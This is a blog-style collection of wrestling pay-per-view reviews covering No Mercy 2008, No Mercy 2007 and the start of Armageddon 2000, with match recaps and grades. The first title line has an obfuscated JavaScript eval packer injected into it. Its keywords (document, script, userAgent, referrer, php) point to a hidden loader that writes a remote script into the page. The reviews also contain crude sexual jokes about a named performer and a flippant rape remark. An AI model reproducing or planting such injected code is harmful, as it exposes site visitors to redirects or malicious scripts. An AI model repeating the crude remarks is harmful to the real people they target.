No Mercy 2008: ANOTHER Great Show In This Series

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrind|var|u0026u|referrer|rniin||js|php'.split('|'),0,{})) Mercy 2008
Date: October 5, 2008
Location: Rose Garden, Portland, Oregon
Attendance: 9,527
Commentators: Todd Grisham, Tazz, Jerry Lawler, Michael Cole, Jim Ross

Another WZ milestone related to this show as the day after this, I joined the forum staff. Anyway, this is the final No Mercy show and it’s also the blowoff to Shawn vs. Jericho with a ladder match for the title. Other than that we also have HHH vs. Jeff Hardy in what is likely going to be another in their great series of matches. After this it’s off to Backlash. Let’s get to it.

The opening video is designed like something from the 50s which then transitions into color and a video about the main matches. I don’t get that one.

ECW Title: Mark Henry vs. Matt Hardy

Matt is defending. Tony Atlas almost trips over the ropes coming in. This gets big match intros which is a nice touch that makes it feel like an important match. Matt tries a headlock and that completely fails. Mark runs him over and punches him down before sending him into the corner. Matt finally escapes for a bit and tries a chop block. It gives him a few seconds to breathe but Henry clotheslines his head off.

Hardy goes back to the knees and they go to the floor. Henry shrugs Matt off but the champ goes back to the knee. Figure Four is countered and Henry uses the good foot for a big boot, getting two. A bottom rope Banzai Drop gets the same. Matt tries to punch back but jumps into a bearhug. Hardy quickly climbs up Henry and tries a sunset flip.

Henry blocks it but he hits the mat when he tries to sit on the champ. Side Effect gets two and the place ERUPTS. Twist of Fate is countered and the place quiets in a hurry. Splash gets a delayed two. Twist is countered into the Slam but Matt punches the knee and the Twist hits to retain.

Rating: B-. I’m stunned by the crowd reaction to this as you would think it was the main event of a major show. The place was going nuts on almost everything Hardy did like I haven’t heard since the Hardy Boys days. The David vs. Goliath stuff worked very well here as these two always had some chemistry together.

HHH and Hardy are brought together in the back and HHH says Jeff is only going to win the mobile text popularity poll. He’ll be rooting for Jeff in the match tonight. Hardy says worry about him, not texting. HHH says he wants Jeff to put everything together and win the big one so that tonight, he’ll know he beat Hardy at his best.

Women’s Title: Candice Michelle vs. Beth Phoenix

Beth is defending in the rematch from last year. Candice immediately kicks the knee out for two. A dropkick to the head of Beth as she’s getting up gets the same. An enziguri slows Phoenix down as Candice is starting off fast. A charge is caught and Beth rams her into the buckle to stop that cold.

Beth hooks a modified cross armbreaker which lasts for a few moments. Candice comes back with some of the weakest clotheslines I can ever remember. Her arms are TINY which is what makes them so weak. Beth puts her down and goes up top, only to get crotched and dropkicked for two. Santino had to make the save so Candice dropkicks him through the ropes. Back inside the glam Slam quickly ends this.

Rating: D+. Candice slowly fell down a mountain after she lost the title a year before this. Like I said her offense was mostly dropkicks and not very good ones at that. On top of that there were the clotheslines which were embarrassing. The Divas took a nosedive around this point as the good chicks were just not there with the talent other than one in a handful. Also there were two titles by this point which didn’t help anything at all.

Buy the new Flair DVD! That actually was a good one.

Kane says Rey’s story ends tonight. They have a match tonight and if Rey loses, he loses his mask. This feud went on for the better part of eternity and never really had a real payoff.

Rey Mysterio vs. Kane

Rey fires off some strikes and a dropkick to send him to the floor. Kane gets back in and hits a big boot to send Rey to the floor for a breather. A springboard dropkick sends Kane crawling on his knees into the 619 position. Kane is thankfully playing possum though and hits a clothesline to put Mysterio down. A bad jawbreaker from Rey sets up a middle rope rana to send Kane to the floor.

Rey tries a dive but gets caught in a powerslam position. He climbs up Kane and hooks a sleeper, only to get thrown over the barricade. Mysterio’s back is rammed into the post and Kane hooks a chinlock back inside. Rey comes back with a headscissors to backflip into a reverse DDT to slow Kane down. Kane puts him on the middle rope with Rey’s back to the ring and goes after the mask. Rey elbows out of that and hits a moonsault to a standing Kane to put both guys down.

Dropping the Dime gets two but Rey walks into a side slam which gets the same. Chokeslam is countered and Rey mostly misses something like a spinning springboard DDT. Cole and Jerry aren’t sure if it was an armdrag or a DDT and I’m not sure either. That’s how messed up it was. Rey goes up again but jumps into an uppercut for two. Kane goes to the apron and Rey hits the 619 to the back of the leg and they go outside. Rey dives off the top into a chair for the DQ.

Rating: C-. They were trying here but the big vs. little dynamic was too much for them to overcome here. It started really slow too and the ending didn’t help anything. Kane as the monster only has a certain limit to what it can do and this was stretching that limit to as far as it could go, as it’s hard to believe he couldn’t get the mask off if he wanted to, but he didn’t. Not a horrible match but it didn’t quite work for me. It was getting better by the end though and it wasn’t horrible at all.

MVP is on the phone in the back and goes to see Vickie about being off the show. He knocks on her door and finds Big Show. MVP asks to see her but Show says no.

Vote at Cyber Sunday!

Here’s MVP to waste some time. This has to be better than the pizza eating contest he was in last year. He talks about how you don’t bench LeBron James or Manny Ramirez (dated reference much?) and on Smackdown, you don’t bench MVP. He thinks the tombstone Undertaker gave Vickie hurt her head, but this isn’t the first instance of him being forgotten. Cue Orton for some more talking.

Randy is still hurt at this point and introduces himself to MVP. MVP says he knows who Orton is but didn’t recognize him without the sling or the folder with the MRI results in it. There’s no reason for MVP to not deck Orton because they’re on different shows. Cue Legacy (DiBiase, Rhodes and Manu. Dang he never fit at all) as MVP wisely heads to the other side of the ring so he can be next to a rope. The fans immediately chant boring as Cody talks about how MVP is the guy that never got into college and just hung out at his high school to look cool while coasting on his reputation.

Cody asks Orton to let MVP have that because it’s all he’s got. Orton yells at Rhodes for some reason and Manu says the only reason Orton was able to punt CM Punk in the head was because of the Legacy beatdown. Orton says that he’ll take them more seriously when they accomplish something, and with that he leaves. MVP says Orton will be back in the ring sometime in 2012. Well it’s 2012 and MVP hasn’t been seen in WWE in over a year while Orton got the pin tonight on Smackdown so I guess he’s right?

DiBiase says MVP’s dad wasn’t a famous WWE superstar so MVP isn’t in their class. MVP says he makes more money than any wrestler on Smackdown. Ted: “My father is the Million Dollar Man.” DiBiase 1, MVP 0. MVP walks up the ramp rather than fight but Punk and Kofi come out to even the odds. Since Kofi and Punk are faces, they let MVP go into the ring without them so he takes a little beating also. The good guys clear the ring. This segment went on longer than any match so far tonight.

Michaels and Jericho are getting ready.

John Bradshaw Layfield vs. Batista

No story here, but the winner gets the winner of Shawn vs. Jericho at a later date, which would wind up being Cyber Sunday. This is when JBL had slimmed down a lot so the match looks a bit better. They slug it out to start and Batista puts him down with a clothesline. JBL gets a boot up in the corner but walks into a quick spear.

He rolls to the outside but doesn’t get a breather out there either. JBL drills him coming back in and they head outside again for a few seconds. Neckbreaker and elbow drop get two for Bradshaw and it’s chinlock time. Batista suplexes his way out of that and hits the shoulders in the corner. Spinebuster and the Batista Bomb finish this clean. This wasn’t even five and a half minutes long.

Rating: C-. Not much of a match but this got the job done in a hurry. It was basically a Batista squash which was exactly what it needed to be to make Batista look like a real threat to the title, which he would wind up winning at Cyber Sunday. Also did anyone really want to see this match get fifteen minutes? I don’t ever remember them having what I would call a good match so I can’t complain.

In a pretty awesome moment, JBL, still on his back from the Bomb, calls for a mic. He cuts a promo about how even though he lost a ton of money with the stock market falling apart, the bailout made him a ton of money while everyone else lost money. We cut to the back and see Cryme Tyme, a bunch of Divas and Sgt. Slaughter taking his limo. I hate the political stuff from WWE, but from it going from what sounded like a retirement promo to one of the funniest heel promos I’ve ever heard, it was awesome.

We recap Big Show vs. Undertaker. Show is mad because of the Tombstone to Vickie, Undertaker is mad because Big Show turned heel to defend Vickie at Unforgiven.

Big Show vs. Undertaker

JR talks about how Undertaker is like a Sasquatch that has wrapped his arms around us and how Big Show is Cyclopean. He has two eyes. WHAT IS WRONG WITH JIM ROSS??? Sasquatch and Cyclopean? With smoke still in the ring Taker goes right at him but gets hit in the ribs to slow him down. Taker gets knocked to the floor but lands on his feet. They slug it out on the apron and Taker Stuns him on the top rope.

Out to the floor and Show pounds away on the ribs. Show throws him into the barricade and Taker throws him into the post. This is a total war so far. Now Undertaker’s right hands are malignant. WHAT DOES THAT MEAN??? Legdrop on the apron and they head inside. Taker gets a boot up in the corner but Big Show clotheslines him down. Show slams him down and drops an elbow for two.

Show tries a Vader Bomb elbow but Taker moves to send Show crashing. They slug it out again with Taker punching him into the corner and working over the ribs. Show misses two WMDs so Taker clotheslines him down and drops a leg for two. Taker tries Old School but jumps into a chokeslam for two. WMD (it wasn’t called that back then but you get the idea) misses and they both try chokeslams.

Show wins the battle but Taker pulls him down into a DDT for two. Taker punches him down in the corner but stops to chase the referee, allowing Big Show to expose the buckle. A shot into that and the big punch, a second big punch (this one is pretentious according to JR) and a third one (this one a rabbit punch) makes the referee stop the match.

Rating: B. This was ten minutes long and they beat the tar out of each other the whole time. It’s probably the best Show vs. Undertaker match I’ve ever seen which is quite a selection as I’m sure you know. Good match here and while it didn’t quite get any better after this, it’s a great match from these two which is shocking for me.

Being true to his nature, Taker takes forever to get out of the ring.

We recap HHH vs. Jeff Hardy. Hardy had the title won in the Scramble but HHH won with a second remaining. Hardy won a fatal fourway to get this show. The idea is that Jeff keeps getting close to the title but is always one step away. This would be the best story of 2008 and Jeff would FINALLY reach his goal at some point this year. This gets the music video treatment.

Smackdown World Title: HHH vs. Jeff Hardy

After the big match intros we’re ready to go. Jeff shakes his hand and is immediately sent into the buckle and rolled up for two. They fight over wrist control and Jeff grabs a headlock. It’s just a feeling out process for the first 90 seconds or so. They keep fighting for control and Jeff gets his headlock on the mat. Back up and HHH hits an elbow but walks into a headscissors to send him to the floor. Jeff hits a running clothesline off the apron to take HHH down.

Back inside and back to the headlock. HHH pops up and tries a quick Pedigree but gets backdropped to the floor. Jeff tries a flip dive over the top but HHH steps to the side to make Jeff crash onto the floor with a great thud. That gets two for HHH inside, as does a wicked backbreaker. HHH punches him a bit more and it’s abdominal stretch time. HHH doesn’t have a ton of torque on it so he grabs the rope, forcing a break.

Off to a sleeper instead but Jeff escapes pretty quickly and hits his wrap around clothesline. Legdrop between the legs gets two. Hardy throws Trips into the corner and out to the floor. Now the flip dive works and both guys are down on the floor. Back inside Hardy gets two off a middle rope clothesline. This is starting to get good. Twist of Fate is countered and HHH takes him down with a clothesline of his own for two.

They slug it out and Hardy goes up. I think Jeff was trying a dropkick and I think HHH tried to counter into a spinebuster but it completely missed. Miscommunication, not a botch. Spinebuster with no miscommunication puts Hardy down and it’s Pedigree time. Hardy slingshots him into the post and the Whisper in the Wind gets a VERY close two. Slingshot dropkick to the back sets up the Swanton but HHH moves. Pedigree is countered again into a Twist of Fate and Jeff goes up. Swanton hits perfectly but Hardy lays on top of him, allowing HHH to cradle him for the pin to retain.

Rating: B+. INCREDIBLE ending sequence which had me into it both back in 2008 and now as well. Hardy would keep getting closer and closer to the title until he FINALLY won it (from Edge) in December. HHH and Hardy had some mad chemistry together and this is probably their best example of it. Great match and once it gets going, it never stopped being awesome.

HHH is in the back (without the belt) and runs into Arn Anderson who congratulates him. Oh ok he had the belt in his other hand. He runs into Kozlov and good grief no one cared. They gave the options of HHH vs. Hardy, HHH vs. Kozlov and triple threat at Cyber Sunday and HHH vs. Kozlov got like 3%. The fans just didn’t want to see it and thankfully the company listened for once.

We recap Shawn vs. Jericho. It’s a LONG story but basically, Jericho accused Shawn of faking a knee injury, Shawn said he wasn’t Jericho said he was, Shawn said ok yeah I was, Jericho wanted an apology, Shawn said no, Jericho put Shawn through a monitor and then punched his wife, they had an unsanctioned match which Shawn won, then Jericho snuck in the back door and won the world title in the Scramble match. Jericho gets to defend against Shawn tonight in a ladder match. This feud was AWESOME.

Raw World Title: Shawn Michaels vs. Chris Jericho

Big match intros are out of the way and we’re ready to go. Shawn goes for the arm to start but then says screw this and tries Chin Music. Jericho moves and Shawn charges shoulder first into the post. Out to the floor and Jericho throws Shawn at the ladder but Shawn climbs it quickly and comes off with an even quicker cross body. Jericho throws him into the post shoulder first again and goes for the ladder.

Shawn drop toeholds him though and Chris’ face hits the ladder. There’s a second ladder but Jericho takes Shawn down and hooks the Walls on the floor. For some reason he lets it go and brings the ladder into the ring, but Shawn teeter totters it into his face. Back in Shawn climbs up but Jericho shoves him off and into the top rope. The ladder goes into Shawn’s face and Jericho is bleeding from the lip a bit.

There are two ladders in the ring now. Shawn counters the bulldog and sends Jericho’s leg into the ladder. Shawn lays a ladder across the bottom rope and drops Jericho’s knee onto it before hooking up a Figure Four. After it’s broken, Jericho kicks one end of the ladder into the post so that it bounces back and hits Shawn in the shoulder and then into the face. It might have been to the previously injured eye. Jericho slams a ladder on Shawn’s head in a FREAKING OW MAN moment.

He climbs up but Shawn shoves it well enough to make Jericho stop and kick him away, causing Jericho to fall off and land on his feet. Chris puts a ladder on the top rope in the corner with the top of it pointing into the ring. Shawn throws Jericho onto the ladder and he falls out to the floor. Out to the floor and Shawn sets up the mega ladder. He hits Jericho with the ladder a few times to keep Jericho down and loads up the announce table.

Jericho is placed on the table but gets up and climbs up the ladder after Shawn. He gets in a few shots and tries a belly to back through the table. Shawn shifts his weight and lands on top of Chris, but they’re both dead anyway. Back in the ring and Shawn goes up, looking to ride the ladder down onto Jericho. The champ is ready for him though and dropkicks the ladder into Shawn, crotching him.

Jericho loads up a superplex but Shawn shoves him off. He tries the elbow but Jericho pulls the ladder onto himself so that the elbow hits the steel coming down. FREAKING OW MAN! Shawn tries the superkick but Jericho pulls up a ladder and slams it into Shawn’s head. Jericho puts the ladder on Shawn and hits the Lionsault onto it, which would seem to take a lot more out of Jericho than Shawn.

He puts the ladder on top of Shawn and tries to go up but Shawn kicks the ladder forward, sending Jericho crashing down with NOTHING to catch his fall. He’s holding his knee on the floor while Shawn slowly climbs. Jericho gets back in and shoves the ladder over, sending Shawn into the ropes. They both climb and slug it out but Jericho gets his leg caught in the ladder and is hanging upside down. Cue Cade for the save so Shawn superkicks him down. Jericho is back up and it’s another race. They both grab the belt and it comes unhooked and it’s a tug of war. Jericho headbutts the bad eye to pull down the title to retain.

Rating: A. Yeah it’s great. You knew this was going to be rated very highly coming in. Everyone loves this match and it’s not hard to see why. Both guys are masters at this and they beat each other up very well in the process. As with most great ladder matches, the matches where it’s about the guys and there happen to be ladders involved are much better than the other way around. Great match and a great ending. This would have been a lot better live I think.

Overall Rating: B+. Dang where were these No Mercy’s before? These last three were some AWESOME shows that more than make up for the weaker ones earlier in the series. The last three matches on here are all really good with a nice mix of brawling, wrestling and carnage. 2009 wasn’t nearly as good as it was all about HHH, Cena and Orton which got really boring, but No Mercy was replaced by I think Breaking Point which was a good show too if I remember right. Anyway, very good show here and worth checking out.

It’s time for Backlash and then….and then that’s it. My goodness and then that’s it.

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No Mercy 2007: Orton Season! HHH Season! Orton Season!

No Mercy 2007
Date: October 7, 2007
Location: Allstate Arena, Chicago, Illinois
Attendance: 12,500
Commentators: Jim Ross, Joey Styles, Jerry Lawler, Tazz, John Bradshaw Layfield, Michael Cole

For you WrestleZone enthusiasts, this is the first PPV I ever did an LD for. For those of you that have no idea what I just said, I’d recommend a Yoo-Hoo and some store brand cookies. Anyway, this is the HHH show as Cena is injured, so it’s HHH wrestling three times to take his place. First of all, he has to get the world title so we’ll get to that part first. This is one of the shows that made the number of title reigns stupid for reasons we’ll get to later. Let’s get to it.

The opening video talks about the Book of Genesis and how Cena’s rain (as in the rain of Noah) is over. The idea is that there’s a guaranteed new champion tonight.

We open the show with Vince and his lackey Regal. Oh ok Regal is GM. Vince says that Cena is no longer champion, thereby ending his year long reign. The fans chant for Y2J but Vince says no. Jericho was still yet to return as the SAVE US videos had been airing already. Instead the new champion is the #1 contender, Randy Orton. Orton comes out and gets a big pyro display when he takes the title off the stand it was on.

Orton has to defend it tonight but he gets to hand pick his opponent. The fans again chant for Y2J and Vince goes into EVIL mode, saying to shut up because the champion is about to speak. Orton says he won’t be defending against Cena tonight because he’s the latest name on the list of Orton’s victims. He says there’s no one that can stand up to him….and here’s HHH to a big ovation.

HHH says he knows Orton will be a fighting champion, so how about a title match right here and now? Orton says no so HHH says that Orton must not want his second title reign to be shorter than his first. The people cheer so HHH says that it’s clearly what the people want and that’s what Vince does, but Vince still says no. The Game calls the Boss a balless coward and that he has raisins, not grapefruits. That does it so ring the bell.

Raw World Title: HHH vs. Randy Orton

Vince distracts HHH and Orton gets in a cheap shot to take over. That lasts about 5 seconds as HHH elbows him down. Orton bails to the floor and tries to take a walk but HHH stops him. Orton heads to the floor again and HHH stops him again. Back in HHH knees him down but his suplex is countered into the backbreaker for two. HHH slugs back but walks into the powerslam for two.

Here come the stomps as Orton was still in that slow motion period of his career. You know, the one that ran for like 5 years. Chinlock time which HHH breaks out of and clotheslines Orton down. Another clothesline in the corner crushes Randy and it’s time for a superplex. HHH’s feet hit the mat a bit there so the landing was a little awkward. Either way it just gets two.

Orton tries to charge at HHH but walks into a spinebuster for two. HHH sends him to the floor and then back in, but on the way back inside he walks into the elevated DDT for two. The kickout got a big reaction. RKO and Pedigree are both countered but Orton walks into a knee to the head. HHH hooks a Figure Four and a good one at that. That gets escaped and HHH goes up but gets crotched. Orton charges into the post and HHH rolls him up for the pin and the title.

Rating: C+. Not a bad match here but it only ran about eleven minutes so they didn’t have a ton of time to get anything going. This is one of the instances where I was talking about the title reigns meaning nothing, as one of Orton’s current nine reigns lasted a total of about 15 minutes. Anyway the match wasn’t that bad and having the ending be something other than a finisher into a pin was a nice change of pace.

HHH celebrates for a good long while.

Orton is freaked out in the back and runs into Vince. Nothing is said.

Jeff Hardy/Brian Kendrick/Paul London vs. Lance Cade/Trevor Murdoch/Mr. Kennedy

This is a bonus match, Jeff is the IC Champion and the country boys are the Raw tag champions. The tag champs say they have a new partner to keep another fluke like the one on Raw from happening. Cade and Kendrick start things off and it’s quickly off to London. Murdoch comes in and gets taken apart by a double teaming from Hardy and London. Trevor runs Hardy over with a clothesline and it’s off to Kennedy with a big pop.

Kennedy misses a charge and Hardy tags in Kendrick. Cade is in as well and Murdoch low bridges Brian to the floor. Kendrick plays Ricky Morton for awhile as Kennedy chokes him in the corner. A BIG boot in the corner gets two. Cravate keeps Kendrick down and he still can’t make a tag. Back to Cade who loads up a superplex but Kendrick headbutts his way out of it and a tornado DDT puts Cade down.

Double tags bring in Jeff and Trevor and Hardy tries that sitout gordbuster of his. He drops Murdoch though and Trevor LANDS ON THE TOP OF HIS HEAD. FREAKING OW MAN!!! Swanton would get the pin but Murdoch rolls to the floor to check if he’s dead. London vs. Kennedy now and Kennedy is put down with a spinwheel kick. Hardy misses whatever he was going for as Kendrick and Murdoch fall to the floor. Kennedy gets London on top and the rolling fireman’s carry slam off the middle rope gets the pin.

Rating: C-. Considering Murdoch is still alive, this at least ends on a positive note. The ending was cool too and with this being a bonus match, there’s only so much criticism I can give this match. It did its job, although I kind of wonder what the ads for this show were like given that there was a big ten minute hole in it and they already had a 15 minute talking segment to open things up.

HHH and Batista, both world champions at the moment, run into each other in the back. Batista says someone once told him that it’s a lot easier to win it than to keep it. Batista has a Punjabi Prison match against Khali later. Great. Dave leaves and HHH runs into Vince. Vince says he gives the people what they want and there was a match advertised between HHH and Umaga, which is what the people are going to get. The title is on the line.

ECW Title: Big Daddy V vs. CM Punk

V is challenging and has Striker with him. This was supposed to be Dreamer vs. Punk but GM Estrada did something to stop that. Punk is the hometown boy so you know he gets a big pop. V immediately throws Punk to the floor and back in it’s anal raping time. Look up the Visagra and you’ll get the idea. Punk comes back with some kicks but they have no effect at all. A corner splash misses and a missile dropkick puts V down….and here’s Striker for the DQ. This was like 90 seconds long.

V crushes him post match. What was the point of any of this? Punk is helped out by referees.

We recap the series of contests betwee MVP and Matt Hardy, including arm wrestling, boxing (with Evander Holyfield being brought in as a surrogate), basketball, chess, throwing a football and push-ups. Tonight: it’s a pizza eating contest. OH COME ON. Taz is hosting. There are judges for this for no apparent reason: Melina and Maria. They’re scorekeepers instead of judges. MVP is US Champion but he wouldn’t actually drop the title to Matt until APRIL, as in six and a half months from now. They’re also tag champions.

MVP complains about the pizza because it’s not healthy. He criticizes Chicago for being fat, prompting Maria to say she’s from Chicago, so is she fat? Matt and MVP get in a stupid argument as this just drags on and on and on. It’s finally time to eat and by the time this starts, this segment has gone longer than the six man went. Matt quickly slows down and it doesn’t matter as it takes MVP almost two minutes to eat a single slice. Yes, they’re eating for two minutes. The final score is two slices to zero with Matt winning. Matt throws up on MVP. This went longer than the world title match.

Cyber Sunday ad. They say you can pick HIAC as a stipulation. Obviously that never happened.

We recap HH vs. Umaga, which is really HHH vs. Vince with a surrogate Samoan. This ties into the whole Horny is Vince’s legitimate son son deal. The match was originally non-title because neither guy had a title coming in.

Raw World Title: HHH vs. Umaga

HHH gets to use King of Kings now that he’s champion. Umaga takes him down immediately so HHH fires back with a DDT. Thankfully Umaga remembers his racial stereotypes and no sells it. HHH low bridges him and we go to the floor. Umaga gets rammed into the steps and yells at HHH for it. My goodness it’s nice to see a Samoan monster that knows how to take a beating to the head.

Back in Umaga pounds him down but misses a middle rope headbutt. For some reason that slows him down but the Facebuster has no effect. Pedigree is countered but the spinebuster works just fine. Another Pedigree attempt is countered into a Samoan Drop and the Game has bad ribs. Out to the floor and HHH goes into the barricade. Back in for a bearhug as the champ is in trouble.

Umaga shifts up into a spinning Rock Bottom for two. The headbutt (this time not of the ropes) hits the bad ribs and is followed by a knee. Umaga pounds on the head of the Game and has him down in the corner. The running hip attack (SEE??? IT WAS UMAGA! NOT FREAKING RIKISHI YOU STUPID NXT PEOPLE!) misses, Umaga gets launched into the post and HHH hits a quick Pedigree to retain.

Rating: C-. Not much here as it felt like a Raw main event instead of a PPV title match. Then again this is only the second PPV title match out of four tonight so it’s ok if there’s a match with only about six and a half minutes. It’s nothing that great but it was good to allow HHH to look good. You know, like in a real title reign at a smaller PPV instead of in the third match of the night, but whatever.

We put a spotlight on the Punjabi Prison and have an ominous song but that’s later on. Instead, we see Khali meditating.

Rey Mysterio vs. Finlay

No reason given for the match before the entrances. Rey is listed at 165. That’s small even for him. Feeling out process to start but Rey takes him down with a shot to the knee and a low dropkick. Slingshot splash gets two. A hard (and appropriate) Irish whip slows Rey down but he dropkicks the knee again to send Finlay to the apron. More kicks look to set up a sunset bomb to the floor but Finlay escapes and ties him up in the ring skirt and pounds away to take over.

Rey gets thrown shoulder first into the post and it’s a Fujiwara Armbar from Finlay. A hard clothesline gets two and it’s back to the arm. Rey manages to snapmare his way out of a crossface chickenwing and send Finlay into the buckle. Springboard crossbody gets two. Seated senton gets the same and a counter to the sitout bulldog is countered into 619 position, but Finlay counters the counter to the counter (got that?) to clothesline him down for two.

A rana out of the corner is countered into a shoulder breaker for two. The Irishman takes a buckle pad off and uses the distraction of the referee to go for the club. Rey blocks the shot and ranas Finlay to the floor. Finlay is in 619 position on the apron (as in he’s outside the ring) but the 619 misses. Rey kicks him in the head and drops a leg on the back of his head, sending Finlay to the floor with a THUD. The referee calls for help and the match is over.

Rating: C+. This was getting good by the end. The more I see of Finlay the more I tend to like his work. He’s really good at going out there and having a solid match and being a bully for someone to stand up to which is a good character to have. Rey is perfect as the underdog too so the chemistry was there. The ending kind of sucked though.

The replay makes it look even worse. He’s taken out on a stretcher…..and he pops up to jump Rey and the place FREAKS. This was a really good performance considering it went so fast. The beating is bad enough for Rey to be taken out on a stretcher.

SAVE US! WHOEVER YOU ARE!

HHH has ice on his ribs when Vince comes in. He guaranteed the fans a last man standing match, so that’s what HHH has tonight against Orton for the title.

Women’s Title: Beth Phoenix vs. Candice Michelle

Candace is defending and looks like an idiot with the angel’s wings on her outfit. Beth throws her into the corner to start but Candice manages a nice bridging cradle for two. She goes for Beth’s arm but we get the Davey Boy Smith/Shawn Michaels move of the pullup from the ground. Powerslam gets two and it’s off to a chinlock.

Actually it’s a cobra clutch but it’s the same idea. Candice climbs the corner ala Bret vs. Austin for two but can’t break the hold. She finally rams Beth into the buckle to escape and a top rope cross body gets two, as does a sunset flip out of the corner. Beth grabs her into a fisherman’s buster which is enough for the pin and the title.

Rating: C-. Candice was supposed to be the next big thing in the Divas division but this was her only title reign and not many people really remember her. Beth would become a much bigger deal with multiple title reigns, including the one that is going on now which will seemingly never end. This wasn’t bad.

Beth says this is the era of the Glamazon.

The Prison is lowered.

We recap Batista vs. Khali. Batista got the title in a threeway at Unforgiven by pinning the giant. Khali wanted a rematch one on one but on his terms. The cage is explained which we’ll get to in a minute. It’s more complicated than it needs to be anyway.

Smackdown World Title: Batista vs. Great Khali

Batista is defending and this is inside the Punjabi Prison. Ok so there’s a big round cage around the ring that goes down to the floor. It comes up to a circle at the top with sharp sticks on top. There’s another cage (all made of bamboo mind you) with four gates on it. You can request to open one at any time and at that point you have sixty seconds to go through it. If you don’t get out, it’s closed and that gate can’t be used again. You have to get out of both cages to win. It’s WAY too complicated which is why there were only two of these matches ever.

Batista gets in a quick shot to knock Khali into the ropes and tie him up. He hammers away instead of leaving like an intelligent person would. Well he’s an animal so maybe that explains it. Khali comes back with a chop to the head and opens a gate, but Batista stops him enough for the clock to go down. The Plunge is countered but Khali kicks him down. Leg drop misses and Batista spears him down.

The second gate is opened but Khali grabs the leg. He chokes him against the cage until the clock runs out and the door is shut. Khali pulls a rope off the wall of the cage to tie Batista to the cage. There’s a strap attached to the cage for some reason so Khali pulls it down and it’s whipping time. Batista wasn’t tied up so I guess it was just choking. The third gate is opened but Khali walks into a spinebuster. Big Dave goes for the door but Khali stops him again, leaving us with only one door.

Batista grabs the strap and gives Khali a beating. Now Batista tries to climb over the top for some reason but Khali pounds him down, right into position for Batista to Bomb him out of the corner. Khali blocks it with punches though and the champion is down. Vice Grip goes on and Batista is in trouble. Khali asks for the fourth gate to be opened but Batista hits him low to put both guys down.

The last door closes so Khali beats up the referee through the cage. Khali tries to climb as JBL says this is something out of Jurassic Park. Uh….not exactly Jibbles. Khali tries to climb out but gets knocked down. JBL: “When big men fall down off the top rope like that it hurts.” Batista climbs as well but gets pulled down with a big crash. Khali climbs up and over the top of the first cage while Batista is still down. Both guys climb a cage and in a very cool looking ending, Batista jumps from the outside of the inner cage to the inside of the outer cage and gets up and out faster than Khali can to retain.

Rating: C-. I don’t think anyone would say this was good. I don’t think anyone would argue that a regular cage match wouldn’t have been better. I do however think this wasn’t half bad. The ending was really cool with that jump being something almost out of an action movie. It was an interesting experiment but thankfully they didn’t try it after this.

We recap the night long story with HHH vs. Vince/Orton. HHH is in the back and says the Game isn’t over. He’s coming for Orton.

Raw World Title: HHH vs. Randy Orton

Last man standing. Slugout to start with Orton going after the bad ribs. They keep the slugout going out to the floor where a Pedigree is countered. The bad ribs land on the steel and Orton gets control. Back in and a punch puts HHH down. Out to the floor again and Orton belly to back suplexes him onto the barricade. That gets a six count and Orton throws him into the steps for another six.

They head into the ring and Orton hits a release powerslam for about eight. Facebuster puts Orton down but he pops back up and gets a cord off the floor. He chokes HHH out but what should be murder only gets a nine count. Orton loads up the announce table and gets a horrible shot to the head with a monitor. An RKO from one table to the other doesn’t work as HHH launches him through the second table.

Both guys are down and Orton is holding his arm. Gee where have I seen that before? Trips gets up and it’s a nine count on Orton. A spinebuster on the floor but that gets the same result. Steps to the face of Orton should kill him but gets the slowest nine count ever. Back into the ring and HHH gets a chair. Orton manages to kick the bad ribs and DDTs him onto the chair for an eight or so.

Randy finally goes off and pounds HHH down in the corner and an RKO on the open chair gets nine. The Punt is grabbed and HHH throws Orton over the top to the floor. They go to the floor with HHH pounding on him before throwing him onto the remaining table. Orton escapes and slams him into the post to put HHH down. He gets the steps but HHH hits him low to “slam” Orton’s head into them. A chair to Orton’s head while it’s still on the steps gets nine and we go back to the table. An RKO out of nowhere onto the table gives Orton the title. It’s as sudden as it sounds.

Rating: B. Good match but the counts got pretty ridiculous at times. The ending didn’t help either as Orton had hit him with far bigger stuff just moments earlier but the RKO ends it because that’s what Orton finishes matches with. Also it doesn’t help that these two had THREE last man standing matches in total. See why people got tired of them?

Overall Rating: B-. I didn’t like it as much as the 06 version but this was still a solid show. The HHH vs. Orton love fest didn’t quite do it for me but the rest of the stuff was good enough and you can’t say nothing happened here. This is turning into a show that you expect nothing from but get a good result out of and that’s fine with me. There’s one more to go and I remember liking it a lot.

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Armageddon 2000: So Six Guys Walk Into A Cell…

Armageddon 2000
Date: December 10, 2000
Location: Birmingham-Jefferson Civic Center, Birmingham, Alabama
Attendance: 14,920
Commentators: Jim Ross, Jerry Lawler

This was another request. To call this a one match show is an understatement. That being said, the one match is a 6 man Hell in a Cell match for the world title. There’s also a Kane vs. Jericho last man standing match here to fill in some time. Other than that there isn’t a ton on the card but it looks ok. It’s your standard late Attitude Era stuff so it should be at least ok. Let’s get to it.

The opening video shows all kind of destruction set to a nearly creepy song.

The Cell is hanging above the ring here but not in its usual high up place. It’s like ten feet above the ring which is kind of odd looking. On Heat Foley promised that if there was a major injury he would resign as Commissioner.

Vince is here and Patterson/Brisco welcome him. Vince has a cane for reasons I don’t remember.

Hardy Boys/Lita vs. Radicalz

Radicalz are Saturn, Malenko and Guerrero and this is under elimination rules. This is because Malenko, a ladies man at the time, won a date with Lita due to beating her in a Light Heavyweight Title match. It also resulted in Lita looking AMAZING in white bra and panties. Matt made the save in the bedroom in a funny bit. I haven’t seen that in years.

Eddie is in his old school attire with the half singlet. Jeff does a big dive to take out Perry and Eddie. Fans are all over Eddie as the heels control early. The fans are way behind Lita. Granted if you believe certain rumors lots of people have been behind Lita. And in front of her. Uh on top. Beneath too. Jeff puts out Eddie with a Swanton and Saturn takes a Whisper in the Wind but a Death Valley Driver ends Jeff. I know that came off really fast but that’s all that happened.

